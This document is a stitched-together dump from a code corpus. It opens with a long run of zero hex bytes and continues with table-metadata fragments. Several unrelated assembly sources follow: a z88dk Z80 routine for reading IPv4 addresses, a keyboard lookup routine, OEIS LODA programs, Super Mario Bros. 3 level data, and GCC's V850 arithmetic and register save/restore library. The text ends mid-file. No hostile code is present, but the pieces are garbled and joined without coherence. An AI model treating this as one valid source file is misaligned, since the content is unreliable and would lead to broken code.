00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 35.465839 | 2,999 | 0.651138 |
4fb407f8d7ea3d7b80b25da624df8cf93dbc2d20 | 3,189 | asm | Assembly | libsrc/stdio_new/file/stream-in/stdio_in_capi.asm | andydansby/z88dk-mk2 | 51c15f1387293809c496f5eaf7b196f8a0e9b66b | [
"ClArtistic"
] | 1 | 2020-09-15T08:35:49.000Z | 2020-09-15T08:35:49.000Z | libsrc/stdio_new/file/stream-in/stdio_in_capi.asm | andydansby/z88dk-MK2 | 51c15f1387293809c496f5eaf7b196f8a0e9b66b | [
"ClArtistic"
] | null | null | null | libsrc/stdio_new/file/stream-in/stdio_in_capi.asm | andydansby/z88dk-MK2 | 51c15f1387293809c496f5eaf7b196f8a0e9b66b | [
"ClArtistic"
] | null | null | null | ; stdio_in_I, read IPv4 address in dotted notation
; 09.2008 aralbrec
XLIB stdio_in_capi
LIB stdio_incommon1, stdio_inexit, stdio_getchar
LIB stdio_ungetchar, stdio_in_i, htonl
XREF LIBDISP_STDIO_IN_I
; input %I parameter, read IPv4 address in dotted notation
; * accepts octets in octal, hex or decimal
; * 'a' indicates address should be stored in network byte order (big endian)
;
; enter : ix = FILE *
; b = width
; c = flags [000a*WL0]
; hl = & parameter list
; bc' = total num chars read from stream thus far
; de' = number of conversions done thus far
; on exit : bc' = total num chars read from stream thus far
; de' = number of conversions done thus far
; hl = & parameter list
; carry set if EOF reached
;
; MUST NOT ALTER HL' FOR SSCANF FAMILY
.stdio_in_capi
call stdio_incommon1 ; leading ws, sign, long *
ret c
bit 0,c ; return error if a sign was present
jp nz, stdio_inexit
push hl ; save & parameter list
push de ; save long *
push bc ; save real flags
; ix = FILE *
; a = next char from stream
ld c,8 ; assignment suppression on
push hl ; dummy MSW of IPv4 address
call getoctet2
ld h,e ; h = first octet
call consumedot
call getoctet
ld l,e ; l = second octet
call consumedot
ex (sp),hl ; save MSW of IPv4 address
call getoctet
ld h,e ; h = third octet
call consumedot
call getoctet
ld l,e ; l = fourth octet
; carry reset here
pop de ; dehl = IPv4 address
pop bc ; c = flags [000a*WL0]
bit 3,c ; assignment suppression?
jr nz, suppress
bit 4,c ; 'a' flag = store in network order
call nz, htonl
ex de,hl ; hlde = IPv4 address
ex (sp),hl ; hl = long *, stack = MSW of IPv4 address
ld (hl),e ; write LSW of IPv4 address into long*
inc hl
ld (hl),d
inc hl
pop de ; de = MSW of IPv4 address
ld (hl),e ; write MSW of IPv4 address into long*
inc hl
ld (hl),d
exx
inc de ; increase num conversions done
exx
pop hl ; hl = & parameter list
ret
.suppress
pop de
pop hl
ret
.getoctet
call stdio_getchar
jr c, error
.getoctet2
call stdio_in_i + LIBDISP_STDIO_IN_I
jr c, error
inc d ; octet de should be < 256
dec d
ret z
.error
pop bc ; ret address
pop bc ; MSW of IPv4 address
pop bc ; flags
pop de ; long *
pop hl ; & parameter list
scf
ret
.consumedot
call stdio_getchar
jr c, error
cp '.'
ret z
call stdio_ungetchar
jp error
| 23.977444 | 77 | 0.507056 |
5b65670b75292e2094326c8c7c99e1d6654debca | 640 | asm | Assembly | programs/oeis/104/A104640.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/104/A104640.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/104/A104640.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A104640: Number of odd digits in n^3.
; 1,0,1,0,2,1,2,2,2,1,4,2,3,1,4,1,3,2,2,0,2,1,3,2,3,4,3,3,2,1,4,2,5,3,2,1,3,2,5,0,2,1,4,2,4,4,3,4,4,2,4,1,3,3,4,4,5,5,4,1,2,2,2,1,2,2,3,3,3,2,6,3,4,1,3,3,4,3,4,2,4,4,5,3,3,2,3,2,3,2,6,2,3,2,5,2,4,4,4,1,4,2,4,2,5,5,3,5,4,4,5,2,3,3,4,3,4,3,5,2,6,3,2,2,6,2,2,4,2,3,2,3,4,1,3,4,6,1,3,1,2,1,2,3,2,5,5,4,5,4,4,4,6,2,5,4,4,4,4,1,4,3,4,2,3,3,3,3,1,3,3,1,7,1,7,5,5,5,7,2,5,1,2,2,4,2,4,1,4,2,4,3,5,4,4,5,5,4,4,0,2,0,3,1,4,3,3,4,5,2,7,3,5,2,6,4,5,3,5,1,5,3,5,4,5,6,5,5,3,3,5,3,5,3,6,4,6,4,7,2,7,3,4,3,4,3,4,5,4,3
add $0,1
pow $0,3
cal $0,196564 ; Number of odd digits in decimal representation of n.
mov $1,$0
| 80 | 501 | 0.540625 |
d0a3a5e1fb3538cb3b0c8f908033b204bdbc6547 | 2,370 | asm | Assembly | PRG/levels/Plains/3-7.asm | narfman0/smb3_pp1 | 38a58adafff67a403591e38875e9fae943a5fe76 | [
"Unlicense"
] | null | null | null | PRG/levels/Plains/3-7.asm | narfman0/smb3_pp1 | 38a58adafff67a403591e38875e9fae943a5fe76 | [
"Unlicense"
] | null | null | null | PRG/levels/Plains/3-7.asm | narfman0/smb3_pp1 | 38a58adafff67a403591e38875e9fae943a5fe76 | [
"Unlicense"
] | null | null | null | ; Original address was $B8BC
; 3-7
.word W307_CoinHeavL ; Alternate level layout
.word W307_CoinHeavO ; Alternate object layout
.byte LEVEL1_SIZE_10 | LEVEL1_YSTART_140
.byte LEVEL2_BGPAL_02 | LEVEL2_OBJPAL_08 | LEVEL2_XSTART_18
.byte LEVEL3_TILESET_13 | LEVEL3_VSCROLL_LOCKLOW | LEVEL3_PIPENOTEXIT
.byte LEVEL4_BGBANK_INDEX(20) | LEVEL4_INITACT_NOTHING
.byte LEVEL5_BGM_OVERWORLD | LEVEL5_TIME_300
.byte $1A, $00, $C0, $9F, $02, $0B, $07, $05, $05, $07, $09, $02, $07, $0A, $0A, $07
.byte $11, $0A, $07, $10, $04, $E2, $31, $02, $20, $12, $04, $02, $12, $0E, $34, $56
.byte $02, $05, $16, $0A, $31, $37, $02, $40, $17, $0B, $35, $38, $02, $40, $39, $02
.byte $40, $02, $1B, $07, $05, $15, $07, $09, $12, $07, $0A, $1A, $07, $0C, $17, $07
.byte $11, $1A, $07, $11, $1D, $33, $17, $1F, $33, $19, $14, $91, $19, $19, $92, $1A
.byte $15, $A3, $02, $2B, $07, $05, $25, $07, $09, $22, $07, $0A, $2A, $07, $0C, $27
.byte $07, $11, $2A, $07, $10, $2D, $E2, $33, $27, $14, $33, $28, $0B, $34, $27, $14
.byte $35, $27, $14, $19, $25, $92, $39, $29, $40, $02, $3B, $07, $05, $35, $07, $09
.byte $32, $07, $0A, $3A, $07, $0C, $37, $07, $11, $3A, $07, $15, $32, $33, $17, $30
.byte $37, $39, $3D, $40, $1A, $38, $A5, $08, $31, $BF, $08, $41, $B8, $02, $4B, $07
.byte $05, $45, $07, $09, $42, $07, $0A, $4A, $07, $0C, $47, $07, $11, $4A, $07, $23
.byte $4A, $81, $05, $4A, $B1, $26, $42, $87, $26, $4C, $81, $08, $4C, $B1, $36, $48
.byte $A3, $17, $40, $01, $39, $43, $40, $59, $4E, $04, $1A, $43, $A3, $1A, $4B, $A3
.byte $25, $41, $0D, $02, $5B, $07, $09, $52, $07, $0A, $5A, $07, $11, $5A, $07, $23
.byte $57, $40, $24, $54, $82, $25, $50, $81, $06, $54, $B2, $07, $50, $B1, $30, $57
.byte $0C, $30, $5A, $30, $31, $57, $13, $31, $58, $31, $11, $5E, $E2, $13, $51, $31
.byte $35, $55, $10, $35, $5B, $10, $36, $55, $16, $17, $50, $33, $19, $57, $92, $39
.byte $5B, $40, $1A, $5B, $A3, $02, $6B, $07, $05, $65, $07, $09, $62, $07, $0A, $6A
.byte $07, $0C, $67, $07, $11, $6A, $07, $15, $63, $32, $36, $6C, $A3, $37, $60, $A2
.byte $17, $65, $33, $0C, $61, $B6, $49, $64, $07, $E6, $77, $50, $02, $7B, $07, $05
.byte $75, $07, $09, $72, $07, $0A, $7A, $07, $0C, $77, $07, $11, $7A, $07, $10, $71
.byte $E2, $33, $7A, $40, $33, $7E, $40, $54, $7A, $B5, $04, $55, $76, $04, $56, $76
.byte $B3, $03, $37, $72, $40, $58, $72, $B1, $03, $40, $88, $09, $FF
| 69.705882 | 85 | 0.487764 |
d6037860519e52180678fb30c9158d6d5351d025 | 1,272 | asm | Assembly | libsrc/input/pv2000/in_LookupKey.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/input/pv2000/in_LookupKey.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/input/pv2000/in_LookupKey.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ; uint in_LookupKey(uchar c)
; 09.2005 aralbrec
SECTION code_clib
PUBLIC in_LookupKey
PUBLIC _in_LookupKey
EXTERN in_keytranstbl
; Given the ascii code of a character, returns the scan row and mask
; corresponding to the key that needs to be pressed to generate the
; character.
;
; The scan row returned will have bit 7 set and bit 6 set to
; indicate if CAPS, SYM SHIFTS also have to be pressed to generate the
; ascii code, respectively.
; enter: L = ascii character code
; exit : L = scan row
; H = mask
; else: L = scan row, H = mask
; bit 7 of L set if SHIFT needs to be pressed
; bit 6 of L set if FUNC needs to be pressed
; uses : AF,BC,HL
; The 16-bit value returned is a scan code understood by
; in_KeyPressed.
.in_LookupKey
._in_LookupKey
ld a,l
ld hl,in_keytranstbl
ld bc,80 * 3
cpir
jr nz,notfound
ld a,+(80 * 3) - 1
sub c ;A = position in table
ld hl,0
cp 80 * 2
jr c,not_function_table
sub 80 * 2
set 6,l
jr shift
not_function_table:
cp 80
jr c,shift
sub 80
set 7,l
shift:
ld h,a ;Save character
srl a ; Divide by 8
srl a
srl a
or l
ld l,a
; calculate the mask now
ld a,h
and 7
ld h,128
shift_loop:
and a
ret z ; nc
rr h
dec a
jr shift_loop
notfound:
ld hl,0
scf
ret
| 17.189189 | 70 | 0.678459 |
d6d7b42bacd26c4febe58dc4269911b4d0806f79 | 887 | asm | Assembly | programs/oeis/250/A250354.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/250/A250354.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/250/A250354.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A250354: Number of length 5 arrays x(i), i=1..5 with x(i) in i..i+n and no value appearing more than 2 times.
; 32,216,888,2724,6900,15186,30072,54888,93924,152550,237336,356172,518388,734874,1018200,1382736,1844772,2422638,3136824,4010100,5067636,6337122,7848888,9636024,11734500,14183286,17024472,20303388,24068724
mov $2,2
mov $3,$0
lpb $0
add $0,2
mul $0,2
add $2,$0
mov $0,1
lpe
mov $1,$2
add $1,30
mov $4,$3
mov $7,78
lpb $7
add $1,$4
sub $7,1
lpe
mov $6,$3
lpb $6
add $5,$4
sub $6,1
lpe
mov $4,$5
mov $7,65
lpb $7
add $1,$4
sub $7,1
lpe
mov $5,0
mov $6,$3
lpb $6
add $5,$4
sub $6,1
lpe
mov $4,$5
mov $7,30
lpb $7
add $1,$4
sub $7,1
lpe
mov $5,0
mov $6,$3
lpb $6
add $5,$4
sub $6,1
lpe
mov $4,$5
mov $7,10
lpb $7
add $1,$4
sub $7,1
lpe
mov $5,0
mov $6,$3
lpb $6
add $5,$4
sub $6,1
lpe
mov $4,$5
mov $7,1
lpb $7
add $1,$4
sub $7,1
lpe
| 13.238806 | 206 | 0.612176 |
621ba60a4868373059d4f3adb80cd72032e21e9b | 27,024 | asm | Assembly | tools-src/gnu/gcc/gcc/config/v850/lib1funcs.asm | enfoTek/tomato.linksys.e2000.nvram-mod | 2ce3a5217def49d6df7348522e2bfda702b56029 | [
"FSFAP"
] | 80 | 2015-01-02T10:14:04.000Z | 2021-06-07T06:29:49.000Z | tools-src/gnu/gcc/gcc/config/v850/lib1funcs.asm | unforgiven512/tomato | 96f09fab4929c6ddde5c9113f1b2476ad37133c4 | [
"FSFAP"
] | 9 | 2015-05-14T11:03:12.000Z | 2018-01-04T07:12:58.000Z | tools-src/gnu/gcc/gcc/config/v850/lib1funcs.asm | unforgiven512/tomato | 96f09fab4929c6ddde5c9113f1b2476ad37133c4 | [
"FSFAP"
] | 69 | 2015-01-02T10:45:56.000Z | 2021-09-06T07:52:13.000Z | /* libgcc routines for NEC V850.
Copyright (C) 1996, 1997 Free Software Foundation, Inc.
This file is part of GNU CC.
GNU CC is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation; either version 2, or (at your option) any
later version.
In addition to the permissions in the GNU General Public License, the
Free Software Foundation gives you unlimited permission to link the
compiled version of this file into combinations with other programs,
and to distribute those combinations without any restriction coming
from the use of this file. (The General Public License restrictions
do apply in other respects; for example, they cover modification of
the file, and distribution when not linked into a combine
executable.)
This file is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; see the file COPYING. If not, write to
the Free Software Foundation, 59 Temple Place - Suite 330,
Boston, MA 02111-1307, USA. */
#ifdef L_mulsi3
.text
.globl ___mulsi3
.type ___mulsi3,@function
/*
* #define SHIFT 12
* #define MASK ((1 << SHIFT) - 1)
*
* #define STEP(i, j) \
* ({ \
* short a_part = (a >> (i)) & MASK; \
* short b_part = (b >> (j)) & MASK; \
* int res = (((int)a_part) * ((int)b_part)); \
* res; \
* })
*
* int
* __mulsi3 (unsigned a, unsigned b)
* {
* return STEP (0, 0) +
* ((STEP (SHIFT, 0) + STEP (0, SHIFT)) << SHIFT) +
* ((STEP (0, 2 * SHIFT) + STEP (SHIFT, SHIFT) + STEP (2 * SHIFT, 0))
* << (2 * SHIFT));
* }
*/
___mulsi3:
mov r6,r13
movea lo(4095),r0,r16
and r16,r13
mov r7,r15
and r16,r15
mov r13,r10
mulh r15,r10
shr 12,r6
mov r6,r14
and r16,r14
mov r14,r11
mulh r15,r11
shr 12,r7
mov r7,r12
and r16,r12
shr 12,r7
and r16,r7
mulh r13,r7
shr 12,r6
mulh r12,r13
and r16,r6
add r13,r11
shl 12,r11
add r11,r10
mov r14,r11
mulh r12,r11
mulh r15,r6
add r11,r7
add r6,r7
shl 24,r7
add r7,r10
jmp [r31]
.size ___mulsi3,.-___mulsi3
#endif
#ifdef L_udivsi3
.text
.global ___udivsi3
.type ___udivsi3,@function
___udivsi3:
mov 1,r12
mov 0,r10
cmp r6,r7
bnl .L12
movhi hi(-2147483648),r0,r13
cmp r0,r7
blt .L12
.L4:
shl 1,r7
shl 1,r12
cmp r6,r7
bnl .L12
cmp r0,r12
be .L8
mov r7,r19
and r13,r19
be .L4
br .L12
.L9:
cmp r7,r6
bl .L10
sub r7,r6
or r12,r10
.L10:
shr 1,r12
shr 1,r7
.L12:
cmp r0,r12
bne .L9
.L8:
jmp [r31]
.size ___udivsi3,.-___udivsi3
#endif
#ifdef L_divsi3
.text
.globl ___divsi3
.type ___divsi3,@function
___divsi3:
add -8,sp
st.w r31,4[sp]
st.w r22,0[sp]
mov 1,r22
tst r7,r7
bp .L3
subr r0,r7
subr r0,r22
.L3:
tst r6,r6
bp .L4
subr r0,r6
subr r0,r22
.L4:
jarl ___udivsi3,r31
cmp r0,r22
bp .L7
subr r0,r10
.L7:
ld.w 0[sp],r22
ld.w 4[sp],r31
add 8,sp
jmp [r31]
.size ___divsi3,.-___divsi3
#endif
#ifdef L_umodsi3
.text
.globl ___umodsi3
.type ___umodsi3,@function
___umodsi3:
add -12,sp
st.w r31,8[sp]
st.w r7,4[sp]
st.w r6,0[sp]
jarl ___udivsi3,r31
ld.w 4[sp],r7
mov r10,r6
jarl ___mulsi3,r31
ld.w 0[sp],r6
subr r6,r10
ld.w 8[sp],r31
add 12,sp
jmp [r31]
.size ___umodsi3,.-___umodsi3
#endif /* L_umodsi3 */
#ifdef L_modsi3
.text
.globl ___modsi3
.type ___modsi3,@function
___modsi3:
add -12,sp
st.w r31,8[sp]
st.w r7,4[sp]
st.w r6,0[sp]
jarl ___divsi3,r31
ld.w 4[sp],r7
mov r10,r6
jarl ___mulsi3,r31
ld.w 0[sp],r6
subr r6,r10
ld.w 8[sp],r31
add 12,sp
jmp [r31]
.size ___modsi3,.-___modsi3
#endif /* L_modsi3 */
#ifdef L_save_2
.text
.align 2
.globl __save_r2_r29
.type __save_r2_r29,@function
/* Allocate space and save registers 2, 20 .. 29 on the stack */
/* Called via: jalr __save_r2_r29,r10 */
__save_r2_r29:
mov ep,r1
addi -44,sp,sp
mov sp,ep
sst.w r29,0[ep]
sst.w r28,4[ep]
sst.w r27,8[ep]
sst.w r26,12[ep]
sst.w r25,16[ep]
sst.w r24,20[ep]
sst.w r23,24[ep]
sst.w r22,28[ep]
sst.w r21,32[ep]
sst.w r20,36[ep]
sst.w r2,40[ep]
mov r1,ep
jmp [r10]
.size __save_r2_r29,.-__save_r2_r29
/* Restore saved registers, deallocate stack and return to the user */
/* Called via: jr __return_r2_r29 */
.align 2
.globl __return_r2_r29
.type __return_r2_r29,@function
__return_r2_r29:
mov ep,r1
mov sp,ep
sld.w 0[ep],r29
sld.w 4[ep],r28
sld.w 8[ep],r27
sld.w 12[ep],r26
sld.w 16[ep],r25
sld.w 20[ep],r24
sld.w 24[ep],r23
sld.w 28[ep],r22
sld.w 32[ep],r21
sld.w 36[ep],r20
sld.w 40[ep],r2
addi 44,sp,sp
mov r1,ep
jmp [r31]
.size __return_r2_r29,.-__return_r2_r29
#endif /* L_save_2 */
#ifdef L_save_20
.text
.align 2
.globl __save_r20_r29
.type __save_r20_r29,@function
/* Allocate space and save registers 20 .. 29 on the stack */
/* Called via: jalr __save_r20_r29,r10 */
__save_r20_r29:
mov ep,r1
addi -40,sp,sp
mov sp,ep
sst.w r29,0[ep]
sst.w r28,4[ep]
sst.w r27,8[ep]
sst.w r26,12[ep]
sst.w r25,16[ep]
sst.w r24,20[ep]
sst.w r23,24[ep]
sst.w r22,28[ep]
sst.w r21,32[ep]
sst.w r20,36[ep]
mov r1,ep
jmp [r10]
.size __save_r20_r29,.-__save_r20_r29
/* Restore saved registers, deallocate stack and return to the user */
/* Called via: jr __return_r20_r29 */
.align 2
.globl __return_r20_r29
.type __return_r20_r29,@function
__return_r20_r29:
mov ep,r1
mov sp,ep
sld.w 0[ep],r29
sld.w 4[ep],r28
sld.w 8[ep],r27
sld.w 12[ep],r26
sld.w 16[ep],r25
sld.w 20[ep],r24
sld.w 24[ep],r23
sld.w 28[ep],r22
sld.w 32[ep],r21
sld.w 36[ep],r20
addi 40,sp,sp
mov r1,ep
jmp [r31]
.size __return_r20_r29,.-__return_r20_r29
#endif /* L_save_20 */
#ifdef L_save_21
.text
.align 2
.globl __save_r21_r29
.type __save_r21_r29,@function
/* Allocate space and save registers 21 .. 29 on the stack */
/* Called via: jalr __save_r21_r29,r10 */
__save_r21_r29:
mov ep,r1
addi -36,sp,sp
mov sp,ep
sst.w r29,0[ep]
sst.w r28,4[ep]
sst.w r27,8[ep]
sst.w r26,12[ep]
sst.w r25,16[ep]
sst.w r24,20[ep]
sst.w r23,24[ep]
sst.w r22,28[ep]
sst.w r21,32[ep]
mov r1,ep
jmp [r10]
.size __save_r21_r29,.-__save_r21_r29
/* Restore saved registers, deallocate stack and return to the user */
/* Called via: jr __return_r21_r29 */
.align 2
.globl __return_r21_r29
.type __return_r21_r29,@function
__return_r21_r29:
mov ep,r1
mov sp,ep
sld.w 0[ep],r29
sld.w 4[ep],r28
sld.w 8[ep],r27
sld.w 12[ep],r26
sld.w 16[ep],r25
sld.w 20[ep],r24
sld.w 24[ep],r23
sld.w 28[ep],r22
sld.w 32[ep],r21
addi 36,sp,sp
mov r1,ep
jmp [r31]
.size __return_r21_r29,.-__return_r21_r29
#endif /* L_save_21 */
#ifdef L_save_22
.text
.align 2
.globl __save_r22_r29
.type __save_r22_r29,@function
/* Allocate space and save registers 22 .. 29 on the stack */
/* Called via: jalr __save_r22_r29,r10 */
__save_r22_r29:
mov ep,r1
addi -32,sp,sp
mov sp,ep
sst.w r29,0[ep]
sst.w r28,4[ep]
sst.w r27,8[ep]
sst.w r26,12[ep]
sst.w r25,16[ep]
sst.w r24,20[ep]
sst.w r23,24[ep]
sst.w r22,28[ep]
mov r1,ep
jmp [r10]
.size __save_r22_r29,.-__save_r22_r29
/* Restore saved registers, deallocate stack and return to the user */
/* Called via: jr __return_r22_r29 */
.align 2
.globl __return_r22_r29
.type __return_r22_r29,@function
__return_r22_r29:
mov ep,r1
mov sp,ep
sld.w 0[ep],r29
sld.w 4[ep],r28
sld.w 8[ep],r27
sld.w 12[ep],r26
sld.w 16[ep],r25
sld.w 20[ep],r24
sld.w 24[ep],r23
sld.w 28[ep],r22
addi 32,sp,sp
mov r1,ep
jmp [r31]
.size __return_r22_r29,.-__return_r22_r29
#endif /* L_save_22 */
#ifdef L_save_23
.text
.align 2
.globl __save_r23_r29
.type __save_r23_r29,@function
/* Allocate space and save registers 23 .. 29 on the stack */
/* Called via: jalr __save_r23_r29,r10 */
__save_r23_r29:
mov ep,r1
addi -28,sp,sp
mov sp,ep
sst.w r29,0[ep]
sst.w r28,4[ep]
sst.w r27,8[ep]
sst.w r26,12[ep]
sst.w r25,16[ep]
sst.w r24,20[ep]
sst.w r23,24[ep]
mov r1,ep
jmp [r10]
.size __save_r23_r29,.-__save_r23_r29
/* Restore saved registers, deallocate stack and return to the user */
/* Called via: jr __return_r23_r29 */
.align 2
.globl __return_r23_r29
.type __return_r23_r29,@function
__return_r23_r29:
mov ep,r1
mov sp,ep
sld.w 0[ep],r29
sld.w 4[ep],r28
sld.w 8[ep],r27
sld.w 12[ep],r26
sld.w 16[ep],r25
sld.w 20[ep],r24
sld.w 24[ep],r23
addi 28,sp,sp
mov r1,ep
jmp [r31]
.size __return_r23_r29,.-__return_r23_r29
#endif /* L_save_23 */
#ifdef L_save_24
.text
.align 2
.globl __save_r24_r29
.type __save_r24_r29,@function
/* Allocate space and save registers 24 .. 29 on the stack */
/* Called via: jalr __save_r24_r29,r10 */
__save_r24_r29:
mov ep,r1
addi -24,sp,sp
mov sp,ep
sst.w r29,0[ep]
sst.w r28,4[ep]
sst.w r27,8[ep]
sst.w r26,12[ep]
sst.w r25,16[ep]
sst.w r24,20[ep]
mov r1,ep
jmp [r10]
.size __save_r24_r29,.-__save_r24_r29
/* Restore saved registers, deallocate stack and return to the user */
/* Called via: jr __return_r24_r29 */
.align 2
.globl __return_r24_r29
.type __return_r24_r29,@function
__return_r24_r29:
mov ep,r1
mov sp,ep
sld.w 0[ep],r29
sld.w 4[ep],r28
sld.w 8[ep],r27
sld.w 12[ep],r26
sld.w 16[ep],r25
sld.w 20[ep],r24
addi 24,sp,sp
mov r1,ep
jmp [r31]
.size __return_r24_r29,.-__return_r24_r29
#endif /* L_save_24 */
#ifdef L_save_25
.text
.align 2
.globl __save_r25_r29
.type __save_r25_r29,@function
/* Allocate space and save registers 25 .. 29 on the stack */
/* Called via: jalr __save_r25_r29,r10 */
__save_r25_r29:
mov ep,r1
addi -20,sp,sp
mov sp,ep
sst.w r29,0[ep]
sst.w r28,4[ep]
sst.w r27,8[ep]
sst.w r26,12[ep]
sst.w r25,16[ep]
mov r1,ep
jmp [r10]
.size __save_r25_r29,.-__save_r25_r29
/* Restore saved registers, deallocate stack and return to the user */
/* Called via: jr __return_r25_r29 */
.align 2
.globl __return_r25_r29
.type __return_r25_r29,@function
__return_r25_r29:
mov ep,r1
mov sp,ep
sld.w 0[ep],r29
sld.w 4[ep],r28
sld.w 8[ep],r27
sld.w 12[ep],r26
sld.w 16[ep],r25
addi 20,sp,sp
mov r1,ep
jmp [r31]
.size __return_r25_r29,.-__return_r25_r29
#endif /* L_save_25 */
#ifdef L_save_26
.text
.align 2
.globl __save_r26_r29
.type __save_r26_r29,@function
/* Allocate space and save registers 26 .. 29 on the stack */
/* Called via: jalr __save_r26_r29,r10 */
__save_r26_r29:
mov ep,r1
add -16,sp
mov sp,ep
sst.w r29,0[ep]
sst.w r28,4[ep]
sst.w r27,8[ep]
sst.w r26,12[ep]
mov r1,ep
jmp [r10]
.size __save_r26_r29,.-__save_r26_r29
/* Restore saved registers, deallocate stack and return to the user */
/* Called via: jr __return_r26_r29 */
.align 2
.globl __return_r26_r29
.type __return_r26_r29,@function
__return_r26_r29:
mov ep,r1
mov sp,ep
sld.w 0[ep],r29
sld.w 4[ep],r28
sld.w 8[ep],r27
sld.w 12[ep],r26
addi 16,sp,sp
mov r1,ep
jmp [r31]
.size __return_r26_r29,.-__return_r26_r29
#endif /* L_save_26 */
#ifdef L_save_27
.text
.align 2
.globl __save_r27_r29
.type __save_r27_r29,@function
/* Allocate space and save registers 27 .. 29 on the stack */
/* Called via: jalr __save_r27_r29,r10 */
__save_r27_r29:
add -12,sp
st.w r29,0[sp]
st.w r28,4[sp]
st.w r27,8[sp]
jmp [r10]
.size __save_r27_r29,.-__save_r27_r29
/* Restore saved registers, deallocate stack and return to the user */
/* Called via: jr __return_r27_r29 */
.align 2
.globl __return_r27_r29
